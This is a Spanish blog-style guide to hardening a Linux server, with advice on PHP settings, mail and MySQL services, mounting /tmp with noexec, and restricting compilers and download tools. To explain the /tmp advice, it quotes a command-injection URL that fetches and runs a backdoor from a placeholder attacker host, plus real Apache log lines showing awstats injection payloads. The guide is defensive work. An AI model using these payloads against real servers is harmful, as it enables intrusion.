|
|
|
|
Recomendaciones generales de seguridad
Hace poco crucé un par de emails con un compañero de ECOL sobre
pequeños consejos para hacer más segura una instalación de Linux.
No son la panacea, pero pueden ayudar a evitar muchos intentos de
acceso no deseados a nuestras máquinas.
Recomendaciones generales
- Siempre actualizar el kernel cuando sale un bug de seguridad.
- Estar apuntado a la lista de seguridad de Debian/RH/MDK y hacer updates
en cuanto salen avisos.
- Estar apuntado a otras listas de seguridad, y si sale un bug en
ellas y aun no ha llegado el aviso de Debian/RH/MDK, comprobar si
tenemos el bug y si hace falta cortar el servicio.
- Tener un kernel, si es posible, estático, es decir: las opciones
que necesito las tengo integradas como Y (nunca como modulos), y
en la segunda opcion del make menuconfig (las de los modulos),
quito el soporte de modulos: como no se pueden cargar modulos, no
me pueden cargar los modulos de los rootkits. En determinados casos
no se podrá dejar sin soporte de módulos (si necesitamos vmware,
lmsensors, bluetooth ...), pero en un servidor que no tenga nada
de esto, es prácticamente obligatorio.
- Cambiar diferentes opciones de PHP:
-
Activar el safe_mode = on de php.ini para PHP4. Eso hace que cuando
se ejecuta un script que es de usuario:grupo, ese script sólo puede
acceder a ficheros de usuario:grupo. Es decir, no podria hacer un
cat del /etc/passwd aunque tenga permiso de lectura para todos.
El safemode tampoco permite ejecutar comandos (para que no te hagan
via fallos de apache ids, uname -a, y demás). A veces no es posible
activar el safemode, depende de si tenemos alguna aplicación que sea
incompatible con él o no (por ejemplo, algunos webmails no funcionan
si activas safe_mode)
(http://es2.php.net/features.safe-mode).
- Desactivar Register_globals (a Off) si las aplicaciones PHP que
usemos están bien realizadas (es decir, deben acceder a las variables de
los formularios mediante $_POST['VARIABLE']). Conviene que leas el manual de PHP
relativo a register_globals para saber qué hace antes de tocar nada
(http://es.php.net/register_globals).
Al respecto del safe_mode y register_globals, minskog nos comenta lo siguiente:
"Solo un apunte, si necesitas safe_mode off o globas_register a on para alguna aplicacion en concreto, y sabes que esa aplicacion está bien hecha y que el acceso a ese directorio lo controlas tú, por ejemplo gallery o vhcs , hay una directiva que te permite sobreescribir la conf de php (evidentemente por seguridad no funciona en .htaccess). Sería php_admin_flag:
php_admin_flag safe_mode off
php_admin_flag register_global on
Esto te permite dejar el server con safe_mode y register_globals a nivel de server, y desactivarlos donde necesites/quieras. Reitero que NO funciona en .htaccess por seguridad, tiene que ir en la conf de apache."
- Desactivar el Error Reporting de forma que no aparezcan por pantalla
errores de PHP/Base de datos (no dando pistas de nombres de tablas,
bases de datos, etc.). Para ello, cambiar las opciones display_errors,
y/o error_reporting de php.ini.
(http://es.php.net/error_reporting).
- Mi servidor de correo es qmail (sin fallos de seguridad desde 1997
y aun esperando que alguien lo reviente por un premio de 100.000 $).
Es infinitamente más seguro que un sendmail. Otra gran opción es postfix,
o no correr ningún servidor de correo si no es necesario.
-
Si no necesitamos ningún servidor de correo abierto al exterior, reconfigurar
el que usemos para que sólo escuche en 127.0.0.1.
-
Si no vamos a utilizar remotamente mysql, añadir la opción del skip-networking
en el /etc/my.cnf. Con esto conectaremos vía socket local y se dejarán de aceptar conexiones
en el puerto 3306.
- Si no es necesario, desinstalar portmap y servicios asociados (rpc, statd,
nfs-kernel-server, etc.).
- Los directorios /tmp y /var/tmp montados aparte como particiones
con opciones nosuid, noexec y nodev. Estas opciones evitan que los
usuarios puedan ejecutar scripts o binarios en esas particiones.
- Binarios de compilación y descarga con permisos restringidos (gcc,
make, wget, lynx...).
- Instalar algún software de control de binarios como tripwire, aide y
algún chequeador de rootkits como chkrootkit y rkhunter.
(Nota, una vez instalado, basta con añadir estas 2 líneas al /etc/crontab:
00 4 * * * root rkhunter --update > /dev/null 2>&1
30 4 * * * root rkhunter -c --nocolors --cronjob --report-mode --createlogfile --skip-keypress --quiet
)
- Los logs de los analizadores (tripwire, rkhunter, etc.), no dejarlos
nunca en el sistema, enviarlos por email a una máquina externa (para evitar
que los "juackers" los falseen y nos engañen).
- Cambiar SSH de puerto, por ejemplo al 26 (editando el /etc/services
y luego el /etc/init.d/inetd.conf o xinetd).
- Finalmente, un buen firewall (por ejemplo, shorewall) debe cerrar el
acceso a todos los puertos que no debieran estar permitidos por debajo de
1024. Pese a disponer del firewall, quitar todos los servicios y desinstalar
todos los paquetes no necesarios.
A continuación tenéis descritos con algo más de detalle alguno de los elementos que hemos
visto en la lista anterior.
Montar /tmp como una partición aparte
Es recomendable montar /tmp como una partición aparte del sistema,
ya que de ese modo puedes montarla con los parámetros noexec, nosuid,
y nodev. Estos parámetros provocan que no se puedan ejecutar binarios
ni scripts en /tmp, con lo cual evitamos a muchos usuarios que
suben a /tmp binarios y shells y los ejecutan, aprovechando fallos
en apache o php.
Mediante fallos de aplicaciones mal programadas en PHP o PERL (como
programas de estadísticas, webmails), muchos "juackers" consiguen
ejecutar cosas como:
http://MAQUINA.COM/index2.php?cmd='cd /tmp; wget www.juacker.com/bd; chmod 777 bd; ./bd'
(abriendo una shell desde la que entrar a nuestra máquina en remoto como
usuario www-data).
Ejemplos de logs de apache reales:
A.B.C.D - - [04/Feb/2005:02:39:04 +0100] "GET
/cgi-bin/awstats.pl?configdir=|echo;echo;cd%20/tmp;chmod%20777%20bind;./bind;echo;echo|
HTTP/1.0" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
X.Y.Z.W - - [02/Feb/2005:21:45:24 +0100] "GET
/cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%2f%3b%20mkdir%20%2
e%2e%2e%3b%20cd%20%2e%2e%2e%2f%3b%20mkdir%20%2e%2e%2e%3bcd%20%2e%2e%2e%2f%3b%20mkdir%20%
2e%2e%2e%3b%20cd%20%2e%2e%2e%2f%3b%20%20pwd%3becho%20e_exp%3b%2500 HTTP/1.1" 200 499 "-" "-"
H.I.J.K - - [31/Jan/2005:21:46:53 +0100] "GET
/cgi-bin/awstats.pl?configdir=%7c%20echo%20%22You%20have%20been%20Owned%2c%20update%20AW
stat%20or%20patch%22%20%3e%20%2ftmp%2fOWNED%20%7c%20 HTTP/1.1" 200 6349 "-" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"
Para evitar esto se usan ciertas opciones al montar /tmp que lo evitan.
Claro está, que tenemos que haber previsto que /tmp iba a ser una partición
y haberla creado para poder usarla.
Al instalar, si metes /tmp como partición sólo tendrás que cambiar el
fstab a posteriori (para el noexec, nomount, etc) y hacer:
cd /var
mv /var/tmp/* /tmp
rmdir tmp
ln -s /tmp /var/tmp
Un ejemplo de mi /etc/fstab para /tmp:
/dev/hda7 /tmp ext3 nosuid,noexec,nodev,rw 0 2
Si no tenemos /tmp como una partición pero sí tenemos espacio para crear
la partición nueva podemos hacer una "conversión", mediante los siguientes
comandos:
(ejemplo):
fdisk /dev/disco
(crear particion)
mkfs.ext2 -v /dev/loquesea
(Editar fstab y añadir linea en cuestion)
(parar servicios como apache y demás, hasta que /tmp esté vacio)
mkdir /temp
mv /tmp/* /temp
mount /tmp
chmod a+rwx /tmp
chmod +t /tmp
mv /temp/* /tmp
rmdir /temp
(y ahora los mismos pasos que antes, para que /var/tmp sea -> /tmp)
cd /var
mv /var/tmp/* /tmp
rmdir tmp
ln -s /tmp /var/tmp
(probamos a arrancar los servicios)
Tras esto lo mejor es reiniciar para ver que todo está ok.
Veamos un ejemplo de qué conseguimos con esto:
[sromero@pinsa:/tmp]$ whoami
sromero
[sromero@pinsa:/tmp]$ cat p.sh
#!/bin/sh
echo "Hola"
[sromero@pinsa:/tmp]$ ./p.sh
bash: ./p.sh: /bin/sh: bad interpreter: Permission denied
[sromero@pinsa:/tmp]$ cp /usr/local/bin/unrar .
[sromero@pinsa:/tmp]$ ./unrar
bash: ./unrar: Permission denied
Como puede verse, con esto los juankers tienen algo más difícil
el descargar binarios en /tmp y ejecutarlos. Ojo, esto no es la
seguridad absoluta, cualquier buen juaker de verdad encontrará
una vía diferente, pero sí que te quitarás de encima a todos
esos niñatos que se dedican a copiar y pegar comandos de una
web de juakers o el txt del exploit del mes.
Como crear un /tmp seguro en máquinas
sin espacio particionable en disco
Creamos un fichero temporal en una partición con suficiente
espacio, y lo hacemos relleno de ceros y de 250MB (en este
caso, puede ser mayor para otros). Por ejemplo, en mi caso en
/.
# dd if=/dev/zero of=/tmp_partition bs=1024 count=250000
Formateamos el fichero como si fuera una partición:
# mke2fs /tmp_partition
(Nota: puede ser ext3, pero para /tmp evitamos accesos extra
innecesarios al disco usando ext2.)
Le indicamos a Linux que sólo lo chequee cada 200 días:
# tune2fs -c 200 -i 200 /tmp_partition
A continuación hacemos pruebas de que funciona OK
(entramos en /temp y probamos a crear y modificar ficheros.
Al acabar los borramos y desmontamos /temp tras salir del
directorio):
# mkdir /temp
# mount -t ext2 /tmp_partition /temp/ -o loop,rw
# (...)
# umount /temp
Si hay algún problema al montarlo, es porque no tenemos soporte
de unidades loopback en nuestro kernel y tenemos que recompilar
el kernel para activar la opción (no obstante es muy común y
seguramente la tendremos activada).
El siguiente paso será añadir una entrada al /etc/fstab y
comprobar que está bien añadida. Editamos dicho fichero y
añadimos la siguiente línea:
/tmp_partition /temp ext2 loop,noexec,nosuid,rw 0 2
Ahora podemos probar directamente con:
# mount /temp
# umount /temp
# rmdir /temp
Una vez tenemos bien el fstab, pasamos a usar /tmp en lugar de
/temp. Para eso editamos el fstab y lo dejamos como:
/tmp_partition /tmp ext2 loop,noexec,nosuid,rw 0 2
Para poder montar /tmp nos tenemos que asegurar de que todos los
servicios que escriben en /tmp están parados. Lo normal es parar
Apache, Oracle, Vmware, etc. Podemos ver si hay más ficheros en
uso con "lsof -n | grep tmp". Una vez esté libre /tmp, hacemos:
# mount /tmp
# chmod 1777 /tmp
# mv /var/tmp/* /tmp
# rmdir /var/tmp
# ln -s /tmp /var/tmp
Con esto tenemos un /tmp y un /var/tmp seguros, donde no se pueden
ejecutar binarios y separados del resto del sistema. Los dispositivos
loopback son algo más lentos que escribir directamente en una
partición, pero no es nada especialmente lento, y sólo se recomienda
evitar su uso en máquinas con mucha carga y que hagan uso intensivo
de /tmp.
Si alguna vez es necesario deshacer el cambio para ganar espacio en
disco en / (por ejemplo), es tan sencillo como:
# (parar servicios)
# mkdir /temp
# mv /tmp/* /temp/
# umount /tmp
# chmod 1777 /tmp
# (quitar o comentar la línea de /tmp en /etc/fstab)
# mv /temp/* /tmp/
# rmdir /temp
# (arrancar servicios)
En resumen, con todos estos pasos conseguimos una partición /tmp segura,
separada del sistema, incluso en máquinas sin espacio para particionar.
Securizar la memoria compartida /dev/shm
Al igual que se puede securizar /tmp, podemos securizar de la misma
forma /dev/shm, la memoria compartida que utilizan algunas aplicaciones
para poder comunicarse entre ellas. Es posible que no la tengamos
en el sistema, pero si la tenemos, lo mejor es transformar la línea
del /etc/fstab para que sea:
none /dev/shm tmpfs defaults,noexec,nosuid 0 0
Y tras esto, podemos reiniciar (o umount+mount si no está en uso).
Particiones del sistema
Unos consejos a la hora de crear particiones:
Para propósito general, con un disco de 20 gigas o más, recomiendo
las siguientes particiones:
- / -> por ejemplo de 2 a 4 gigas sería suficiente para el sistema.
- /tmp -> entre medio giga y un giga sobrado.
- /var -> partición de 2 a 4 gigas montada como nodev,nosuid,noexec.
- /var/log -> partición de 2 gigas montada con nodev,nosuid,noexec.
- /home -> partición gorda para albergar /home y así separar los
datos del sistema (así / puede ser más pequeña, y en
/home puedes poner quotas).
Yo no pondría /etc aparte.
Además así si te es necesario también puedes montar /home con
noexec y demás si no vas a ejecutar binarios desde ellas ...
Estos valores son orientativos, los puedes aumentar segun el
disco que tengas, pero realmente, se supone que /home tendrá los
datos de mucho volumen (así que será una de las particiones más gordas), y /var
tendrá al final las bases de datos (así que también necesitarás
algo de espacio, pero no sé cuánto, depende de lo que tengas),
y tambien puedes poner los ficheros de mysql en /home/bbdd, por
ej. Luego /var/log está aparte para asegurar que un crecimiento
de los logs no tira abajo el sistema.
Y con todas esas particiones, / no necesita ser muy grande porque
los datos están en otros sitios y una debian estandar no pasa
de medio giga. Yo le pongo 5 para tener espacio para compilar
kernels y cosas de esas, pero sobra mucho...
Permisos sobre binarios de compilación y descargas
Por último, recomiendo lo siguiente:
chmod 0700 /usr/bin/make
chmod 0700 /usr/bin/gcc*
chmod 0700 /usr/bin/cc*
chmod 0700 /usr/bin/as86
chmod 0700 /usr/bin/lynx
chmod 0700 /usr/bin/wget
chmod 0700 /usr/bin/curl
chmod 0700 /usr/bin/lpw-download
chmod 0700 /usr/bin/fetch
chmod 0700 /usr/bin/nc
Así te aseguras de que sólo root puede compilar. Como sólo root puede
compilar, si entran como www-data no podrán compilar los rootkits a
partir del codigo fuente, y tampoco ejecutarlos por el noexec. Además,
no podrán descargar los rootkits y exploits porque no tendrán disponible
wget ni lynx.
Antes de cambiar estos permisos recordad que los usuarios dejarán de
poder utilizar estos binarios, con lo que si tenemos algún script que
corra como usuario o algún user que los utilice, tenemos que tenerlo
en cuenta.
Cambiar SSH de puerto: del 22 al 26:
Os muestro los cambios realizados en mi sistema Debian:
# grep ssh-new /etc/services
ssh-new 26/tcp # SSH Remote Login Protocol
ssh-new 26/udp # SSH Remote Login Protocol
# grep ssh-new /etc/inetd.conf
ssh-new stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sshd -i
(hay que acordarse de abrirlo también en el firewall).
En otras distribuciones podéis necesitar modificar más bien xinetd.
Más información:
http://www.debian.org/doc/manuals/securing-debian-howto/
http://www.linuxsecurity.com/resource_file/host_security/securing-debian-howto/ch2.en.html
http://www.puschitz.com/SecuringLinux.shtml
|
|